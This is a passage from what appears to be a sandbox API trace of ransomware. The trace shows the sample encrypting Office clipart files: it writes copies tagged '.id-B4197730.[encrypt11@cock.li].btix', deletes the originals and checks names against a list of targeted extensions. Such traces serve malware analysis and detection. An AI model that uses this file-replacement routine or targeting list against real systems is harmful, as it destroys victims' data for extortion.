(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0059.975] lstrlenW (lpString=".1cd") returned 4 [0059.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0059.975] lstrlenW (lpString=".jpg") returned 4 [0059.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.976] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0059.976] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0059.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0059.977] GetLastError () returned 0x0 [0059.977] ReadFile (in: hFile=0x378, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x634, lpOverlapped=0x0) returned 1 [0060.065] WriteFile (in: hFile=0x38c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x640, lpOverlapped=0x0) returned 1 [0060.065] ReadFile (in: hFile=0x378, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0060.065] WriteFile (in: hFile=0x38c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0060.065] SetEndOfFile (hFile=0x38c) returned 1 [0060.066] CloseHandle (hObject=0x38c) returned 1 [0060.066] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0060.066] SetEndOfFile (hFile=0x378) returned 1 [0060.067] CloseHandle (hObject=0x378) returned 1 [0060.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0060.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0060.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0060.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0060.068] lstrlenW (lpString=".doc") returned 4 [0060.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.068] lstrlenW (lpString=".docx") returned 5 [0060.068] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.068] lstrlenW (lpString=".pdf") returned 4 [0060.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.068] lstrlenW (lpString=".xls") returned 4 [0060.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.068] lstrlenW (lpString=".xlsx") returned 5 [0060.068] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.068] lstrlenW (lpString=".ppt") returned 4 [0060.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0060.068] lstrlenW (lpString=".zip") returned 4 [0060.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.068] lstrlenW (lpString=".rar") returned 4 [0060.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.068] lstrlenW (lpString=".bz2") returned 4 [0060.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.068] lstrlenW (lpString=".7z") returned 3 [0060.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0060.068] lstrlenW (lpString=".dbf") returned 4 [0060.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0060.068] lstrlenW (lpString=".1cd") returned 4 [0060.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0060.069] lstrlenW (lpString=".jpg") returned 4 [0060.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.069] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0060.069] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0060.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0060.069] GetLastError () returned 0x0 [0060.069] ReadFile (in: hFile=0x378, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x68c, lpOverlapped=0x0) returned 1 [0060.107] WriteFile (in: hFile=0x38c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x690, lpOverlapped=0x0) returned 1 [0060.108] ReadFile (in: hFile=0x378, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0060.108] WriteFile (in: hFile=0x38c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0060.108] SetEndOfFile (hFile=0x38c) returned 1 [0060.109] CloseHandle (hObject=0x38c) returned 1 [0060.109] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0060.109] SetEndOfFile (hFile=0x378) returned 1 [0060.110] CloseHandle (hObject=0x378) returned 1 [0060.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0060.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0060.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0060.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0060.111] lstrlenW (lpString=".doc") returned 4 [0060.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.111] lstrlenW (lpString=".docx") returned 5 [0060.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.111] lstrlenW (lpString=".pdf") returned 4 [0060.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.111] lstrlenW (lpString=".xls") returned 4 [0060.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.111] lstrlenW (lpString=".xlsx") returned 5 [0060.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.111] lstrlenW (lpString=".ppt") returned 4 [0060.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0060.111] lstrlenW (lpString=".zip") returned 4 [0060.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.111] lstrlenW (lpString=".rar") returned 4 [0060.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.112] lstrlenW (lpString=".bz2") returned 4 [0060.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.112] lstrlenW (lpString=".7z") returned 3 [0060.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0060.112] lstrlenW (lpString=".dbf") returned 4 [0060.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0060.112] lstrlenW (lpString=".1cd") returned 4 [0060.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0060.112] lstrlenW (lpString=".jpg") returned 4 [0060.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.112] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0060.112] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0060.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0060.113] GetLastError () returned 0x0 [0060.113] ReadFile (in: hFile=0x378, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xf38, lpOverlapped=0x0) returned 1 [0060.167] WriteFile (in: hFile=0x38c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xf40, lpOverlapped=0x0) returned 1 [0060.167] ReadFile (in: hFile=0x378, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0060.167] WriteFile (in: hFile=0x38c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0060.168] SetEndOfFile (hFile=0x38c) returned 1 [0060.174] CloseHandle (hObject=0x38c) returned 1 [0060.181] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0060.181] SetEndOfFile (hFile=0x378) returned 1 [0060.182] CloseHandle (hObject=0x378) returned 1 [0060.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0060.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0060.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0060.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0060.183] lstrlenW (lpString=".doc") returned 4 [0060.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.183] lstrlenW (lpString=".docx") returned 5 [0060.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.183] lstrlenW (lpString=".pdf") returned 4 [0060.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.183] lstrlenW (lpString=".xls") returned 4 [0060.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.183] lstrlenW (lpString=".xlsx") returned 5 [0060.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.183] lstrlenW (lpString=".ppt") returned 4 [0060.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0060.183] lstrlenW (lpString=".zip") returned 4 [0060.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.183] lstrlenW (lpString=".rar") returned 4 [0060.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.183] lstrlenW (lpString=".bz2") returned 4 [0060.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.183] lstrlenW (lpString=".7z") returned 3 [0060.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0060.183] lstrlenW (lpString=".dbf") returned 4 [0060.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0060.183] lstrlenW (lpString=".1cd") returned 4 [0060.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0060.184] lstrlenW (lpString=".jpg") returned 4 [0060.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.187] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0060.187] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0060.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0060.187] GetLastError () returned 0x0 [0060.187] ReadFile (in: hFile=0x398, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x1c08, lpOverlapped=0x0) returned 1 [0060.267] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x1c10, lpOverlapped=0x0) returned 1 [0060.268] ReadFile (in: hFile=0x398, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0060.268] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0060.268] SetEndOfFile (hFile=0x358) returned 1 [0060.268] CloseHandle (hObject=0x358) returned 1 [0060.269] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0060.269] SetEndOfFile (hFile=0x398) returned 1 [0060.270] CloseHandle (hObject=0x398) returned 1 [0060.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0060.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0060.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0060.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0060.270] lstrlenW (lpString=".doc") returned 4 [0060.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.271] lstrlenW (lpString=".docx") returned 5 [0060.271] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.271] lstrlenW (lpString=".pdf") returned 4 [0060.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.271] lstrlenW (lpString=".xls") returned 4 [0060.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.271] lstrlenW (lpString=".xlsx") returned 5 [0060.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.271] lstrlenW (lpString=".ppt") returned 4 [0060.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0060.271] lstrlenW (lpString=".zip") returned 4 [0060.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.271] lstrlenW (lpString=".rar") returned 4 [0060.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.271] lstrlenW (lpString=".bz2") returned 4 [0060.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.271] lstrlenW (lpString=".7z") returned 3 [0060.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0060.271] lstrlenW (lpString=".dbf") returned 4 [0060.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0060.271] lstrlenW (lpString=".1cd") returned 4 [0060.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0060.271] lstrlenW (lpString=".jpg") returned 4 [0060.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.271] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0060.272] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0060.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0060.272] GetLastError () returned 0x0 [0060.272] ReadFile (in: hFile=0x398, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x752, lpOverlapped=0x0) returned 1 [0060.574] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x760, lpOverlapped=0x0) returned 1 [0060.590] ReadFile (in: hFile=0x398, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0060.590] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0060.590] SetEndOfFile (hFile=0x358) returned 1 [0060.590] CloseHandle (hObject=0x358) returned 1 [0060.595] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0060.595] SetEndOfFile (hFile=0x398) returned 1 [0060.600] CloseHandle (hObject=0x398) returned 1 [0060.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0060.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0060.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0060.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0060.611] lstrlenW (lpString=".doc") returned 4 [0060.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.611] lstrlenW (lpString=".docx") returned 5 [0060.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.611] lstrlenW (lpString=".pdf") returned 4 [0060.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.611] lstrlenW (lpString=".xls") returned 4 [0060.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.611] lstrlenW (lpString=".xlsx") returned 5 [0060.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.611] lstrlenW (lpString=".ppt") returned 4 [0060.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0060.611] lstrlenW (lpString=".zip") returned 4 [0060.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.611] lstrlenW (lpString=".rar") returned 4 [0060.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.612] lstrlenW (lpString=".bz2") returned 4 [0060.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.612] lstrlenW (lpString=".7z") returned 3 [0060.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0060.612] lstrlenW (lpString=".dbf") returned 4 [0060.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0060.612] lstrlenW (lpString=".1cd") returned 4 [0060.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0060.612] lstrlenW (lpString=".jpg") returned 4 [0060.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.181] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0064.181] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0064.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0064.593] GetLastError () returned 0x0 [0064.593] ReadFile (in: hFile=0x308, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x976, lpOverlapped=0x0) returned 1 [0064.709] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x980, lpOverlapped=0x0) returned 1 [0064.710] ReadFile (in: hFile=0x308, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0064.710] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, 